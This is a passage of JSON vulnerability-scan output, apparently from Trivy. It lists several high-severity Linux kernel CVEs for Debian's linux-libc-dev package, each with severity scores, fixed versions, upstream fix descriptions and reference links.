"rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81552", "https://access.redhat.com/security/cve/CVE-2026-68236", "https://bugzilla.redhat.com/2486468", "https://bugzilla.redhat.com/2502397", "https://bugzilla.redhat.com/2507153", "https://bugzilla.redhat.com/2507218", "https://bugzilla.redhat.com/2513148", "https://bugzilla.redhat.com/2513287", "https://bugzilla.redhat.com/2513430", "https://bugzilla.redhat.com/2513451", "https://bugzilla.redhat.com/2516396", "https://bugzilla.redhat.com/2528788", "https://bugzilla.redhat.com/2535265", "https://bugzilla.redhat.com/2535309", "https://bugzilla.redhat.com/2535338", "https://bugzilla.redhat.com/show_bug.cgi?id=2486468", "https://bugzilla.redhat.com/show_bug.cgi?id=2502397", "https://bugzilla.redhat.com/show_bug.cgi?id=2507153", "https://bugzilla.redhat.com/show_bug.cgi?id=2507218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513148", "https://bugzilla.redhat.com/show_bug.cgi?id=2513287", "https://bugzilla.redhat.com/show_bug.cgi?id=2513430", "https://bugzilla.redhat.com/show_bug.cgi?id=2513451", "https://bugzilla.redhat.com/show_bug.cgi?id=2516396", "https://bugzilla.redhat.com/show_bug.cgi?id=2528788", "https://bugzilla.redhat.com/show_bug.cgi?id=2535265", "https://bugzilla.redhat.com/show_bug.cgi?id=2535309", "https://bugzilla.redhat.com/show_bug.cgi?id=2535338", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46309", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64507", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68123", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68236", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68245", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68278", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72318", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89970", "https://errata.almalinux.org/9/ALSA-2026-81552.html", "https://errata.rockylinux.org/RLSA-2026:81552", "https://git.kernel.org/stable/c/01ba5b36898d6258f584269537cc49e7b05cf7c6", "https://git.kernel.org/stable/c/0676fecbb5242aa22c057e78326d6d6041db034c", "https://git.kernel.org/stable/c/5182e442e61397d446c36995b8f5676942d35b82", "https://git.kernel.org/stable/c/679f23f0a3606afcef1ffabd72222f00a54ad9e3", "https://git.kernel.org/stable/c/92b7c6e3a1546c6db868b07e93fa6fb950d1d3a0", "https://git.kernel.org/stable/c/9fa26b9eed6195bf840f39ac183b9a6237548755", "https://git.kernel.org/stable/c/ba8bf1dcbb44773e7a0fd13b42925c644e0d5e76", "https://git.kernel.org/stable/c/bf9c06c70f496f1ba4474caf95c69696c828340e", "https://linux.oracle.com/cve/CVE-2026-68236.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://lore.kernel.org/linux-cve-announce/2026081017-CVE-2026-68236-54da@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68236", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68236" ], "PublishedDate": "2026-08-10T13:20:11.943Z", "LastModifiedDate": "2026-10-19T21:17:58.79Z" }, { "VulnerabilityID": "CVE-2026-68294", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68294", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6cd73eeaee407f87de84ba10edd5deae58bd5bb82084c1fc3580ae03bd7d5668", "Title": "kernel: net: qrtr: restrict socket creation to the initial network namespace", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: qrtr: restrict socket creation to the initial network namespace\n\nQRTR keeps its entire port and node state in module-global variables\nthat are not partitioned per network namespace: qrtr_local_nid is a\nsingle global node id (always 1) and qrtr_ports is a single global\nxarray. qrtr_port_lookup() and qrtr_local_enqueue() operate on that\nglobal state with no network-namespace check, and qrtr_create() places\nno restriction on the namespace a socket is created in.\n\nAs a result an unprivileged process that creates an AF_QIPCRTR socket\nin a separate network namespace, e.g. via\nunshare(CLONE_NEWUSER | CLONE_NEWNET), can send QRTR datagrams -\nincluding control-plane messages such as QRTR_TYPE_NEW_SERVER - to QRTR\nsockets owned by another namespace, and vice versa. The receiving\nsocket sees such a message as coming from node id 1, indistinguishable\nfrom a legitimate local client, breaking the isolation that network\nnamespaces are expected to provide.\n\nQRTR is a transport to global hardware endpoints (the modem and other\nremote processors) and has no per-namespace semantics; its in-kernel\nname service already creates its socket in init_net only. Confine the\nsocket family to the initial network namespace, as other\nnon-namespace-aware socket families do (see llc_ui_create() and the\nieee802154 socket code).", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67470", "https://access.redhat.com/security/cve/CVE-2026-68294", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2502380", "https://bugzilla.redhat.com/2502418", "https://bugzilla.redhat.com/2513218", "https://bugzilla.redhat.com/2513353", "https://bugzilla.redhat.com/2516639", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2502380", "https://bugzilla.redhat.com/show_bug.cgi?id=2502418", "https://bugzilla.redhat.com/show_bug.cgi?id=2513218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516639", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72045", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/9/ALSA-2026-67470.html", "https://errata.rockylinux.org/RLSA-2026:67470", "https://git.kernel.org/stable/c/2d22b94a154ccb9755dddfff802fe3e2b1adbab5", "https://git.kernel.org/stable/c/3b536db8fb32da9e9c62f2bb45e2e319331f0426", "https://git.kernel.org/stable/c/4b95e1f0d6e6342c427cb341ee18a894b146b789", "https://git.kernel.org/stable/c/659b9b4f194bb56b9903cc95e786ef1d438baa7d", "https://git.kernel.org/stable/c/7814f6a3415cad38aa8d6dfc573df778260d66aa", "https://git.kernel.org/stable/c/8150c48fb978e01689f94ed80148f8a7499ae571", "https://git.kernel.org/stable/c/8d351fe0654a20c9f95a61b05d24ebe6d4be3fbb", "https://git.kernel.org/stable/c/f488116df769bdaf89c93371350e49e12133e70f", "https://linux.oracle.com/cve/CVE-2026-68294.html", "https://linux.oracle.com/errata/ELSA-2026-68507.html", "https://lore.kernel.org/linux-cve-announce/2026081028-CVE-2026-68294-d225@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68294", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68294" ], "PublishedDate": "2026-08-10T13:20:18.82Z", "LastModifiedDate": "2026-10-19T22:17:11.833Z" }, { "VulnerabilityID": "CVE-2026-68335", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68335", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b49b6b450bf48eb576d43762b8ea4369b99afa0d2e5afe856417a1f00c314ae6", "Title": "kernel: rds: drop incoming messages that cross network namespace boundaries", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrds: drop incoming messages that cross network namespace boundaries\n\nrds_find_bound() looks up the destination socket using a global\nrhashtable keyed solely on (addr, port, scope_id). Network namespaces\nare not part of the key, so a sender in netns A can deliver an incoming\nmessage (inc) to a socket that lives in a different netns B.\n\nWhen this happens, inc-\u003ei_conn points to an rds_connection whose c_net\nis netns A, but the receiving rs lives in netns B. Once the child\nprocess that created netns A exits, cleanup_net() calls\nrds_loop_exit_net() -\u003e rds_loop_kill_conns() -\u003e rds_conn_destroy(),\nfreeing that connection. If the survivor socket in netns B still holds\nthe inc, any subsequent dereference of inc-\u003ei_conn is a use-after-free.\n\nThere are two dangerous sites in rds_clear_recv_queue():\n 1. inc-\u003ei_conn-\u003ec_lcong (offset 88 of freed rds_connection, size 200)\n read via rds_recv_rcvbuf_delta() -- confirmed by KASAN.\n 2. inc-\u003ei_conn-\u003ec_trans-\u003einc_free(inc) (function pointer at offset 80)\n called via rds_inc_put() when the inc refcount reaches zero -- same\n race window, potential call-through-freed-object primitive.\n\nThe bug is reachable from unprivileged user namespaces\n(CLONE_NEWUSER + CLONE_NEWNET), available since Linux 3.8.\n\nFix this by rejecting the delivery in rds_recv_incoming() when the\nsocket returned by rds_find_bound() belongs to a different network\nnamespace than the connection that carried the message. Use the\nexisting rds_conn_net() / sock_net() helpers and net_eq() for the\ncomparison.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68335", "https://git.kernel.org/stable/c/03c574112e5d066df0ddce36d7438e850bcf3050", "https://git.kernel.org/stable/c/0f8690e3869109cd5803ccb400889d20a0b54e0e", "https://git.kernel.org/stable/c/1e2e2d9806944fe485824d617c8b7c78116c22db", "https://git.kernel.org/stable/c/5521ae71e32a8069ed4ca6e792179dc57bc43ab2", "https://git.kernel.org/stable/c/742ff6f02545212e991cd8b45011e40d2c2ef25a", "https://git.kernel.org/stable/c/9591042533140dfe6608d9344806d567dcd39d02", "https://git.kernel.org/stable/c/abff41fd928328bbf3dda1140beb2e61fa424ccd", "https://git.kernel.org/stable/c/cfb3ce07b705e486e022a2f2b1242b48f13981ff", "https://lore.kernel.org/linux-cve-announce/2026081036-CVE-2026-68335-1124@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68335", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68335" ], "PublishedDate": "2026-08-10T13:20:23.863Z", "LastModifiedDate": "2026-10-19T22:17:13.72Z" }, { "VulnerabilityID": "CVE-2026-68376", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:239b9cc63f102c25c48061210cbc43d9af833034b709db2e4b143da66a5939c2", "Title": "kernel: sctp: fix auth_hmacs array size in struct sctp_cookie", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: fix auth_hmacs array size in struct sctp_cookie\n\nThe auth_hmacs array in struct sctp_cookie is supposed to store a complete\nSCTP_AUTH_HMAC_ALGO parameter, which consists of a struct sctp_paramhdr\nfollowed by N HMAC identifiers.\n\nHowever, the array size was calculated using an extra 2 bytes instead of\nsizeof(struct sctp_paramhdr), which is 4 bytes. When four HMAC identifiers\nare configured, the HMAC-ALGO parameter stored in the endpoint is larger\nthan the auth_hmacs buffer in the cookie.\n\nAs a result, sctp_association_init() copies beyond the end of auth_hmacs\nwhen initializing the association, corrupting the adjacent auth_chunks\nfield. This can lead to an invalid HMAC identifier being accepted and later\ncause an out-of-bounds read in sctp_auth_get_hmac().\n\nFix the array size calculation by including the full SCTP parameter header\nsize.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 1, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-68376", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/stable/c/0528485f27016a42804abe01aa61b39d85fa803e", "https://git.kernel.org/stable/c/0b4414e43e0861d67276031cc21401d7e87de3da", "https://git.kernel.org/stable/c/317731d01b03c529809df36d3a7d149677a8729d", "https://git.kernel.org/stable/c/3aa40c3bccac2312ea7cf97f329190637f972b5d", "https://git.kernel.org/stable/c/a8d20ba0ab518c9ccbcde258f25fc1ee6e51d5db", "https://git.kernel.org/stable/c/d0a59ba58578e2b330fff80a44fe519f3ba7d8c7", "https://git.kernel.org/stable/c/e0b5252a59383b77d1b8dbeda00b7184dd95f4d3", "https://git.kernel.org/stable/c/ee5e65964f456adfe14d526fba0bd055de98ecf3", "https://linux.oracle.com/cve/CVE-2026-68376.html", "https://linux.oracle.com/errata/ELSA-2026-67150-0.html", "https://lore.kernel.org/linux-cve-announce/2026081043-CVE-2026-68376-5dfa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68376", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68376" ], "PublishedDate": "2026-08-10T13:20:30.53Z", "LastModifiedDate": "2026-10-19T22:17:15.233Z" }, { "VulnerabilityID": "CVE-2026-68398", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68398", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:771fdd5dbd61e2632ccce741fe7104b56df5a83b7a9e972d2ee1a09ed35443dc", "Title": "kernel: Linux kernel: PPP over L2TP Use-After-Free vulnerability", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nppp: defer channel free to an RCU grace period to fix pppol2tp RX UAF\n\npppol2tp_recv() runs in the L2TP UDP-encap softirq RX path:\n\n l2tp_udp_encap_recv() -\u003e l2tp_recv_common() -\u003e pppol2tp_recv()\n -\u003e ppp_input(\u0026po-\u003echan)\n\nIt runs under rcu_read_lock() holding only an l2tp_session reference and\ntakes NO reference on the internal PPP channel (struct channel,\nchan-\u003eppp) that ppp_input() dereferences.\n\nThe pppox socket is SOCK_RCU_FREE, so 'po' and the embedded ppp_channel\nare RCU-safe. But the internal struct channel is a separate allocation\nthat ppp_release_channel() frees with a plain kfree():\n\n close(data socket) -\u003e pppol2tp_release() -\u003e pppox_unbind_sock()\n -\u003e ppp_unregister_channel() -\u003e ppp_release_channel() -\u003e kfree(pch)\n\nFor a channel that is bound (PPPIOCGCHAN) but not attached to a ppp unit\n(no PPPIOCCONNECT, pch-\u003eppp == NULL) and not bridged, teardown skips\nboth ppp_disconnect_channel()'s synchronize_net() and\nppp_unbridge_channels()'s synchronize_rcu(), so the kfree() has no grace\nperiod. rcu_read_lock() in pppol2tp_recv() does not protect against a\nplain kfree(), so an in-flight ppp_input() on one CPU can dereference\nthe channel just freed by close() on another CPU.\n\nThe bug is reachable by an unprivileged user.\n\nDefer the channel free to an RCU callback via call_rcu() so the grace\nperiod fences any in-flight ppp_input(). The disconnect and unbridge\nteardown paths already fence with synchronize_net()/synchronize_rcu();\ncall_rcu() does the same here without stalling the close() path.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93413", "https://access.redhat.com/security/cve/CVE-2026-68398", "https://bugzilla.redhat.com/show_bug.cgi?id=2431602", "https://bugzilla.redhat.com/show_bug.cgi?id=2482549", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2513188", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535212", 